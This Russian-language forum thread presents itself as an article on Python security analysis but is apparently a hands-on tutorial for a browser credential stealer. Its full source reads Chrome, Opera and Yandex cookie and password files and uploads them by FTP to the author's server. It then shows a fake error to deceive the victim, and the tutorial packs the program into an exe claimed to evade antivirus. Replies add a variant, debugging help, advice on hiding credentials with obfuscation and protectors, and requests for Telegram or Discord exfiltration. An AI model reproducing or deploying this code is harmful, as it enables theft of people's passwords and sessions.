• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Статья Разработка ПО на Python для анализа безопасности данных

Всем привет, это моя первая статья, сразу хочу сказать)

Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )

Начнем с самого простого: подключения библиотек.
Python:
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
  • первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то, существует ли она в природе
  • вторая библиотека ( getpass ) - используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData
  • третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
  • четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер
И напоследок, мы подключаемся по ftp по логину, паролю и хосту.

Теперь перейдем к более интересным вещам, чем просто библиотеки, напишем уже сами пути к директориям, где лежат наши пароли, а пароли будем воровать (в учеб.целях) из браузеров - Opera, Yandex, Google Chrome

Итак, вот код, пишем его, далее будем его разбирать
Python:
UserName = '\\' + getpass.getuser()
dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"

dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"

dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
UserName - принимает значения имя текущего пользователя
dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже....

У нас имеются директории, у нас есть библиотеки для работы, что же дальше? Пора приступать к основной задаче - написанию стиллера.

Вот код, пока напишите его, а я потом расскажу о нем ))
Python:
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

def check():
    if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
        filename = "opera"+str(random.randint(1, 10000))
        filename2 = "opera_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_opera, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_opera, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
        filename = "yandex"+str(random.randint(1, 10000))
        filename2 = "yandex_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_yandex, "rb") as content:
Код получился не маленький, что есть то есть. Рассмотрим первые строчки. В начале, до функции, мы записываем в переменные адреса наших директорий для последующей проверки на валидность. "Зачем это нужно?", - спросите вы меня. Да так проще! Зачем ставить try, except, если можно проверить на валидность с помощью os.path.exits.

Далее у идет функция, со множествами if, но тут ничего ничего сложного нет, все просто:

Python:
 if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)

Мы проверяем, является ли директория валидной, а после открываем ее, и отправляем файл на наш сервер FTP. Такс... Функцию написали, библиотеки подключили, директории есть. Чего не хватает? Думаю, не хватает задействовать функцию и вывести на экран какую-нибудь псевдо-ошибку, что мол библиотека не подключена и все дела. Будем действовать по такой схеме))

Вот код:
Python:
check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
Первая строка - вызов функции, которая ворует пароли.

Далее выводим сообщения об "ошибке", чтобы пользователь думал, что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. Но, как оказалось, библиотеки видите ли у него нет))

Вот и весь код, ниже он целиком:
Python:
import os.path
import getpass
from ftplib import FTP
import random

con = FTP("хост","логин","пароль")

"""
Hack to directory
"""

UserName = '\\' + getpass.getuser()

dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

def check():
    if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
        filename = "opera"+str(random.randint(1, 10000))
        filename2 = "opera_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_opera, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_opera, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
        filename = "yandex"+str(random.randint(1, 10000))
        filename2 = "yandex_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)

check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?

Ответ - pyinstaller
Скачаем его:
Bash:
pip install pyinstaller

Далее скомпилируем его в EXE'шник, дабы было все проще ))

Bash:
pyinstaller -F <my_script>.py
Вот и все, по сути у нас есть EXE файл, который не палится антивирусами, ну разве что windows защитник может его заподозрить, все же мы ходим по директориям. Кроме того еще и отправляем файлы на какой то не понятный сервер.... НО на практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны бэкдоры! он говорит - нет, там нету ничего....

Вот так вот. Всем спасибо! Рад был поделится с вами своим скриптом
 
я не много не понимаю куда всё именно идёт, на ftp? а от туда как всё это взять? объясните плиз, новичок
 
Чуть позже об этом подробно напишу, сейчас просто занят проектом, извиняюсь :)
Здравствуйте, очень интересна эта тема, не подскажите когда будет продолжение (про дешефрование паролей на машине)?
 
con = FTP("хост","логин","пароль")
Классная строка. Кинул файл, его открыли блокнотом, пробежались, нашли креды и вошли в фтп.
Неужели ничего не наталкивало на мысль, что файл нужно отправить на php скрипт post запросом и загрузить его?
 
con = FTP("хост","логин","пароль")
Классная строка. Кинул файл, его открыли блокнотом, пробежались, нашли креды и вошли в фтп.
Неужели ничего не наталкивало на мысль, что файл нужно отправить на php скрипт post запросом и загрузить его?
Вступлюсь за автора. Тут он показывает как написать сам стиллер(хоть реализация мне и не нравится), а не целиком процесс внедрения "ПО" от прочтения до профита.
Хотя в целом замечание весьма ценное)
 
объясните мне глупому. Это весь код? Его можно просто скопировать и всё будет работать?
 
Знаю вовремя, но всё же надеюсь кто нибудь ответит, возможно ли, если да то как, сделать тоже самое, но с WebBrowserPassView или laZagne, то есть что бы файлы полученные из данных утилит расшифровывались на ПК жертвы, отправлялись на ftp и после удалялись с ПК жертвы?
 
что делать если ошибка
Код:
Traceback (most recent call last):
  File "C:\Users\wanted\Desktop\stiller\stiler2.py", line 6, in <module>
    con = FTP("http://192.168.100.10/","admin","admin")
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\ftplib.py", line 118, in __init__
    self.connect(host)
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\ftplib.py", line 153, in connect
    source_address=self.source_address)
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\socket.py", line 689, in create_connection
    for res in getaddrinfo(host, port, 0, SOCK_STREAM):
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\socket.py", line 728, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno 11001] getaddrinfo failed
 
что делать если ошибка
Код:
Traceback (most recent call last):
  File "C:\Users\wanted\Desktop\stiller\stiler2.py", line 6, in <module>
    con = FTP("http://192.168.100.10/","admin","admin")
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\ftplib.py", line 118, in __init__
    self.connect(host)
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\ftplib.py", line 153, in connect
    source_address=self.source_address)
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\socket.py", line 689, in create_connection
    for res in getaddrinfo(host, port, 0, SOCK_STREAM):
  File "C:\Users\wanted\AppData\Local\Programs\Python\Python35\lib\socket.py", line 728, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno 11001] getaddrinfo failed
А зачем ты http указываешь при подключении к ftp?
Пробуй так:
Код:
con = FTP("192.168.100.10","admin","admin")
 
  • Нравится
Реакции: iron _wolf
con = FTP("хост","логин","пароль")
Классная строка. Кинул файл, его открыли блокнотом, пробежались, нашли креды и вошли в фтп.
Неужели ничего не наталкивало на мысль, что файл нужно отправить на php скрипт post запросом и загрузить его?
Тоже интересует тема как скрыть данные подключения в коде. Думал может нужно обфускацию кода делать?!
Помоги советом, где почитать? Что послушать?
 
Тоже интересует тема как скрыть данные подключения в коде. Думал может нужно обфускацию кода делать?!
Помоги советом, где почитать? Что послушать?
Ну как минимум не писать такие вещи на питоне.
Можешь посмотреть тему. XOR был взят ради примера, я не говорю, что это супер скрытие.
Также в той теме есть очень полезное дополнение от @Marylin


Также стоит подумать, может тебе вообще и не нужны креды. Это очень глупо вставлять данные для входа в файл, который потом полетит по интернету.
В таком случае уже не только ты имеешь доступ к логам.

Рекомендую писать "вирусы" на языках, которые нельзя декомпилировать, например, C++. Шифровать данные, хотя бы как то, если уж без них никак.
Ну и прогонять конечный билд через протектор, например VMProtect.

Вообще рекомендую почитать что такое протекторы.
 
На Хабре є продовження цієї статті.
Стилер паролей на python с отправкой на почту.
В статье имеется способ расшифровки паролей.
Чи не ти автор?
 
Очень хорошая статья! Спасибо за старания, буду анализировать и разбираться. Сам не так давно стал учить Python, поэтому крайне интересно
 
Написал тоже самое, но с классом и списками )
Согласитесь, так же удобнее )

Python:
import getpass
import os


class Stiller:
    def __init__(self):
        self.UserName = "\\" + getpass.getuser()
        self.disk_list = ["A", "B", "C", "D", "E", "F", "G"]
        self.list_dir = {
            ':\\Users' + self.UserName + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies': "Cookie_google",
            ":\\Users" + self.UserName + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data": "Pass_google",
            ":\\Users" + self.UserName + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies": "Cookie_yandex",
            ":\\Users" + self.UserName + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker": "Pass_yandex",
            ":\\Users" + self.UserName + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies": "Cookie_opera",
            ":\\Users" + self.UserName + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data": "Pass_opera"
            }

    @staticmethod
    def read_write_file(dir, filename):
        content = ""
        with open(dir, 'rb') as file:
            content = file.read()
        with open(filename, "wb") as file:
            file.write(content)
        return "[+] All good"

    def start(self):
        for disk in self.disk_list:
            for direction in self.list_dir:
                dir = disk + direction
                if os.path.exists(dir):
                    print("[+] Disk - " + disk + ",Yes " + self.list_dir[direction])
                    result = self.read_write_file(dir, self.list_dir[direction] + ".txt")
                    print(result)
                else:
                    print("[-] Disk - " + disk + " ,No " + self.list_dir[direction])


my_stiller = Stiller()
my_stiller.start()
 
Всем привет!
Хочу разработать подобную штуку, только с оправкой в телеграмм)
Кто может помочь, пишите в телеграмм @ruslan9071, кто поможет, того щедро вознагражу)
 
переделать можно код чтоб данные приходили в дискорд?
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы